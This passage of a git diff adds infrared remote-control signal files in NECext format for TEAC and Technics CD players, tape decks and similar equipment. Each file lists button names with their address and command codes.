+command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir new file mode 100644 index 000000000..9503c5d7b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 00 00 00 00 +# +name: discskip +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 02 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 05 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 06 00 00 00 +# +name: introcheck +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0A 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 14 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 17 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 19 00 00 00 +# +name: memorycheck +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 1A 00 00 00 +# +name: disc1 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 1B 00 00 00 +# +name: disc2 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 1C 00 00 00 +# +name: disc3 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 1D 00 00 00 +# +name: disc4 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 1E 00 00 00 +# +name: disc5 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir new file mode 100644 index 000000000..740578823 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 20 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir new file mode 100644 index 000000000..32d73fc66 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 00 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 04 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 06 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 07 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0A 00 00 00 +# +name: X_KEY_1/all +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0D 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 14 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 17 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 19 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir new file mode 100644 index 000000000..0880f7d75 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: counter_clear +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 0A 00 00 00 +# +name: auto_monitor +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 0C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 11 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 13 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 17 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 1F 00 00 00 +# +name: RTZ +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 49 00 00 00 +# +name: CD_sync_left +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 54 00 00 00 +# +name: CPS_forward +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 5C 00 00 00 +# +name: CPS_back +type: parsed +protocol: NECext +address: 82 78 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir new file mode 100644 index 000000000..5797dd60a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: QV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: ST-MON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: TEXT_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: TEXT_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir new file mode 100644 index 000000000..f5b76733e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 00 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 01 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 02 00 00 00 +# +name: Tuner_(Band) +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 07 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 09 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 0A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 0B 00 00 00 +# +name: Repeat/Preset_up +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 0C 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 0D 00 00 00 +# +name: EEPS +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 0E 00 00 00 +# +name: Time_Mode +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 0F 00 00 00 +# +name: Memory/Time_set +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 11 00 00 00 +# +name: FM_Mode +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 12 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 13 00 00 00 +# +name: Intro_Check +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 15 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 17 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 1B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 1C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 1D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 1E 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 22 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir new file mode 100644 index 000000000..c9a8bdfd5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 01 00 00 00 +# +name: search_bwd +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 02 00 00 00 +# +name: search_fwd +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 19 00 00 00 +# +name: level+ +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 20 00 00 00 +# +name: level- +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 21 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 47 00 00 00 +# +name: a-b_repeat +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 48 00 00 00 +# +name: skip_bwd +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 49 00 00 00 +# +name: skip_fwd +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4D 00 00 00 +# +name: time_mode +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 55 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 81 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 84 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 85 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8A 00 00 00 +# +name: auto_cue +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir new file mode 100644 index 000000000..2cedbcbf4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 01 00 00 00 +# +name: SEARCH-LEFT +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 02 00 00 00 +# +name: SEARCH-RIGHT +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 19 00 00 00 +# +name: LEVEL-UP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 20 00 00 00 +# +name: LEVEL-DOWN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 21 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 47 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 48 00 00 00 +# +name: SKIP-LEFT +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 49 00 00 00 +# +name: SKIP-RIGHT +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4D 00 00 00 +# +name: TIME-MODE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 55 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 81 00 00 00 +# +name: GT10 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 84 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 85 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8A 00 00 00 +# +name: AUTO-CUE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8B 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8F 00 00 00 +# +name: TAPE-LENGTH +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AB 00 00 00 +# +name: SIDE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir new file mode 100644 index 000000000..46d1c7d93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 01 00 00 00 +# +name: SEARCH_BACKWARD +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 02 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 0A 00 00 00 +# +name: NR1 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 10 00 00 00 +# +name: NR2 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: NR3 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 12 00 00 00 +# +name: NR4 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 13 00 00 00 +# +name: NR5 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 14 00 00 00 +# +name: NR6 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 15 00 00 00 +# +name: NR7 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 16 00 00 00 +# +name: NR8 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 17 00 00 00 +# +name: NR9 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 18 00 00 00 +# +name: NR0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 19 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 20 00 00 00 +# +name: LEVEL_DOWN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 21 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 47 00 00 00 +# +name: A_B_REPEAT +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 48 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 49 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4D 00 00 00 +# +name: TIME_MODE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 55 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 81 00 00 00 +# +name: GREATER10 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 84 00 00 00 +# +name: NR10 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 85 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8A 00 00 00 +# +name: AUTO_CUE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8B 00 00 00 +# +name: PEAK_SEARCH +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8F 00 00 00 +# +name: TAPE_LENGTH +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AB 00 00 00 +# +name: SIDE_A_B +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir new file mode 100644 index 000000000..e5ad971a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 00 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 19 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 20 00 00 00 +# +name: LEVEL_DOWN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 21 00 00 00 +# +name: M.SCAN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 46 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 47 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 48 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext 